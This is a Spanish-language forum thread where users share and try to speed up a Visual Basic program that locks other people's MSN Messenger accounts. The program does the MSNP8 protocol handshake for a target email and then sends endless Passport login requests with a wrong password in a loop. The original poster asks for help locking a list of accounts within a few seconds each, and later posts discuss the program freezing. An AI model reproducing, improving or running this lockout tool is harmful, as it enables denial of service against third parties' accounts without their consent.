Bloquear cuentas Msn

[abel_c_b]

hola , pues que les parece si comenzamos con un aplicación en donde podriamos bloquear cuentas messeger cada 3 segundos?

aqui dejo un codigo que publico Kisar y el quiero adaptar para conseguir mi objeto.



Les he arreglado un poco el código, al entrar en el bucle la ventana puede no responder pero esta haciendo su trabajo:

Código:

'Codez by Kizar



Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Const email = "su_messenger@hotmail.com"
Dim ema As String, sta As Boolean

Private Sub Bloquear()
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub

Private Sub Desbloquear()
sta = False
End Sub

Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, tmp() As String, tmp2() As String
WS.GetData datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & email & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & email & Chr(13) & Chr(10)
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
tmp = Split(datos, " ")
tmp2 = Split(email, "@")
ema = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp2(0) & "%40" & tmp2(1) & ",pwd=crapware, " & tmp(4)
sta = True
Call Satura
End Select
End Sub

Private Sub Satura()
Dim hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
Do While sta = True
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
lgRep = HttpSendRequest(hRequest, ema, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Loop
End Sub


Si el código les parece largo pueden cambiar "messenger.hotmail.com" por "207.46.109.50" y quitar este cacho de código:

Código:
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect


*******************************************************

si tienen alguna información posteenla para poder cumplir con el objetivo

[Kizar]

Para que posteas mis códigos si ya están en este foro y no añades nada nuevo?

[Tengu]

aqui te dejo un code medio desprolijo en el q yo estaba trabajando ....es una modificacion de un cliente msn.... que hace/ trata de hacer... lo q tu dices pruebalo y me dices.-

[abel_c_b]

solo lo coloco de ejemoplo para las personas que no lo han visto, que me imagino son muchas, la idea es alcanzar lo propuesto, y no posteo mi codigo porque esta incompleto, pero estoy trabajando en ello, inmediatamente lo tenga listo, lo subo, saludos

[abel_c_b]

hola, Tengu ..::Fireb0y::.. , no se que paso con el link, sin embargo cuando lo revise me salieron muchos errores, te agradeceria si estudiamos juntos el codigo, otra cosa muy importante es que el tiempo para bloquear una cuenta con el codigo de kizar es mucho, dura aprox. de 12 a 20 segundos, la idea es acelerar este proceso para que lo haga entre 5 y 8 segundos y asi poder bloquear diferentes cuentas, que esten por ejmeplo en un listbox, estoy seguro de que lo podemos hacer, saludos

agradezco la ayuda de los que puedan colaborar

[Tengu]

es bastante facil agregame y hablamos

[Spider-Net]

El problema de estos programas en Visual Basic es que se "cuelgan", siguen funcionando pero se quedan bloqueados y no me gusta nada. Si alguien encontrase alguna solución para que el programa no se quede como "no responde" pues estaría bien aunque no creo que se pueda hacer ya que al hacer el bucle infinito se peta el programa y por eso este tipo de programas es mejor hacerlos en C que no se bloquean de esta forma.

Saludos.

[Lambda]

El problema de estos programas en Visual Basic es que se "cuelgan", siguen funcionando pero se quedan bloqueados y no me gusta nada. Si alguien encontrase alguna solución para que el programa no se quede como "no responde" pues estaría bien aunque no creo que se pueda hacer ya que al hacer el bucle infinito se peta el programa y por eso este tipo de programas es mejor hacerlos en C que no se bloquean de esta forma.

Saludos.

DoEvents 

[Spider-Net]

Tengo un programa igual que este lleno de DoEvents, miles de DoEvents por todos sitios.

NO FUNCIONA

comprobado, se sigue petando. 

Saludos.

[Freeze.]

Ese es el problema del VB.

I love C And VB.